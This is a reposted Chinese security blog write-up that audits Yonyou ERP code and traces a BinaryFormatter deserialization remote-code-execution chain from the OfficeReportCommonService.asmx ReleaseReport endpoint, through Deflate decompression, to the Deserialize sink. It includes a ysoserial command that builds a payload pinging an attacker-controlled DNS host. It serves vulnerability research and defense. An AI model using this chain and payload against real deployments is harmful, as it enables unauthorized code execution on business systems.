古法审计-用友BinaryFormatter反序列化实战

admin 2026-07-14 05:08:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了用友软件中BinaryFormatter反序列化漏洞的审计过程。通过代码审计定位到ExcelReport.FromBytes方法中的反序列化Sink点,并发现其使用DeflateStream而非GZipStream进行解压。攻击链从OfficeReportCommonService.asmx的ReleaseReport接口接收恶意数据,经解压后触发反序列化导致远程代码执行。文章提供了使用ysoserial生成payload的验证方法,并给出了完整的攻击链总结。 综合评分: 91 文章分类: 代码审计,漏洞分析,渗透测试,红队,实战经验


cover_image

古法审计-用友BinaryFormatter反序列化实战

原创

玛卡巴卡 玛卡巴卡

水刃安全

2026年7月8日 15:02 四川

在小说阅读器读本章

去阅读

免责声明

由于传播、利用本公众号水刃安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号水刃安全及作者不为此承担任何责任,一旦造成后果请自行承担!本篇文章只做安全分析使用。

前言

ai代码审计固然强大,但是我们依旧要夯实基础,回归本质。摆烂玛卡巴卡限时回归。

BinaryFormatter反序列化Sink点

搜索Deserialize

定位到

Portal\bin\UFSoft.UBF.Report.Office.Common\Common\ExcelReport.cs

public static ExcelReport FromBytes(byte[] sourceStream){ExcelReport excelReport = null;if (sourceStream != null)    {   }MemoryStream memoryStream = new MemoryStream();IFormatter formatter = new BinaryFormatter();try    {byte[] array = CompressService.Decompress(sourceStream);       memoryStream.Write(array, 0, array.Length);        memoryStream.Position = 0L;        excelReport = (ExcelReport)formatter.Deserialize(memoryStream);     memoryStream.Close();   }catch (Exception ex)  {throw ex; }return excelReport;}

分析代码

byte[] array = CompressService.Decompress(sourceStream);

//这里执行了一个解压操作,然后才传到了

excelReport = (ExcelReport)formatter.Deserialize(memoryStream);

//这是终点执行了反序列化操作造成了rce

猜想GZipStream解压失败

最开始我们偷懒直接惯性思维以为使用了GZipStream解压,发现失败了

老老实实去找解压方法

Portal\bin\UFSoft.UBF.MD.Model\MD\ReportModel\CompressService.cs

找到了解压代码

using System;using System.IO;using System.IO.Compression;
namespace UFSoft.UBF.MD.ReportModel{// Token: 0x020000B2 RID: 178public class CompressService    {// Token: 0x06000836 RID: 2102 RVA: 0x0000E78C File Offset: 0x0000C98Cpublic static byte[] Compress(byte[] source)      {           MemoryStream memoryStream = new MemoryStream();           DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress, true);           deflateStream.Write(source, 0, source.Length);         deflateStream.Close();          memoryStream.Position = 0L;byte[] array = new byte[memoryStream.Length];         memoryStream.Read(array, 0, (int)memoryStream.Length);return array;       }
// Token: 0x06000837 RID: 2103 RVA: 0x0000E7E8 File Offset: 0x0000C9E8public static byte[] Decompress(byte[] source)//找到方法        {           MemoryStream memoryStream = new MemoryStream(source);         DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress);//发现使用DeflateStream而非GZipStream         MemoryStream memoryStream2 = new MemoryStream();for (;;)         {byte[] array = new byte[10000];int num = deflateStream.Read(array, 0, 10000);if (num == 0)              {break;             }               memoryStream2.Write(array, 0, num);            }           memoryStream2.Position = 0L;byte[] array2 = new byte[memoryStream2.Length];          memoryStream2.Read(array2, 0, (int)memoryStream2.Length);return array2;       }   }}

发现使用DeflateStream而非GZipStream

flateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress);//发现使用DeflateStream而非GZipStream

搜索ExcelReport.FromBytes谁用了

定位

Portal\bin\UFSoft.UBF.Report.WebService\OfficeReportCommonService.cs

public string ReleaseReport(string context, byte[] excelReportSolution){this.SetLoginContext(context);    CreateFolderResult createFolderResult = new CreateFolderResult();   string text;if (excelReportSolution == null)  {       createFolderResult.m_ok = false;       createFolderResult.m_message = "没有报表模型...";        text = createFolderResult.ToString();   }else if (this.m_loginContext == null)   {       createFolderResult.m_ok = false;       createFolderResult.m_message = "服务器未接收到客户端上下文...";     text = createFolderResult.ToString();   }else   {       ExcelReport excelReport = ExcelReport.FromBytes(excelReportSolution);//这调用了ExcelReport.FromBytes,入口确定if (excelReport == null)     {           createFolderResult.m_ok = false;           createFolderResult.m_message = "无法恢复Excel报表对象,转换失败...";            text = createFolderResult.ToString();       }else       {           OBAReportModelHelper obareportModelHelper = OBAReportModelHelper.Instance(GlobalParametersCreater.Instance(OfficeReportCommonService.GetSystemPath(), this.m_loginContext.CultureID), this.GetConnectionString(this.m_loginContext.CompanyID));           Report report = obareportModelHelper.ExcelReportToU9Report(excelReport);            IReportMDWriter writer = ReportMDService.GetInstance(this.GetConnectionString(this.m_loginContext.CompanyID), this.m_loginContext.CultureID).GetWriter();          IReportContent reportContent = new ReportContent();         reportContent.State = 1;if (excelReport.ReportID == "")          {               reportContent.ID = Guid.NewGuid().ToString();           }else           {               reportContent.ID = excelReport.ReportID;            }           reportContent.CreateBy = this.m_loginContext.UserName;         reportContent.CreateDate = DateTime.Now;            reportContent.ModifyDate = DateTime.Now;            reportContent.Discription = excelReport.ReportLabel;            reportContent.Name = excelReport.ReportName;            reportContent.Type = 1;            reportContent.UserDefine = true;           reportContent.Visible = true;          reportContent.Parent = excelReport.ParentFolderID;          reportContent.ReportTemplates.Add(this.CreateReportTemplate(excelReport, report, this.m_loginContext.CultureID, this.m_loginContext.UserName, reportContent.ID));if (excelReport.ParentFolderID == "")          {               excelReport.ParentFolderID = RootCatalogManager.GetInstance().ReportRootCatalogID;          }           createFolderResult.m_ok = writer.SaveReportContent(reportContent, excelReport.ParentFolderID);          createFolderResult.ReportElement = new ReportElement();         createFolderResult.ReportElement.ID = reportContent.ID;         createFolderResult.ReportElement.Name = reportContent.Name;         createFolderResult.ReportElement.System = "1";         createFolderResult.ReportElement.Type = "1";           createFolderResult.ReportElement.Description = reportContent.Discription;           createFolderResult.ReportElement.CreateBy = reportContent.CreateBy;         text = createFolderResult.ToString();       }   }return text;}
ExcelReport excelReport = ExcelReport.FromBytes(excelReportSolution);//这调用了ExcelReport.FromBytes,入口确定

搜索谁引用了

UFSoft.UBF.Report.WebService.OfficeReportCommonService

找到引用的asmx

到此为止完成攻击链闭环

攻击链梳理总结

1. 攻击者 → HTTP请求 → OfficeReportCommonService.asmx/ReleaseReport2. ReleaseReport方法接收 byte[] excelReportSolution3. 调用 ExcelReport.FromBytes(excelReportSolution)4. FromBytes内部:CompressService.Decompress DeflateStream解压5. BinaryFormatter.Deserialize 反序列化6. 恶意gadget链触发 →返回包500 代码执行(如果是302就是做了鉴权被重定向到登录页面了)

ysoserial生成恶意payload验证

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping -n 1 恶意dns" -o raw > payload.bin

poc

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:水刃安全 玛卡巴卡 玛卡巴卡《古法审计-用友BinaryFormatter反序列化实战》

评论:0   参与:  0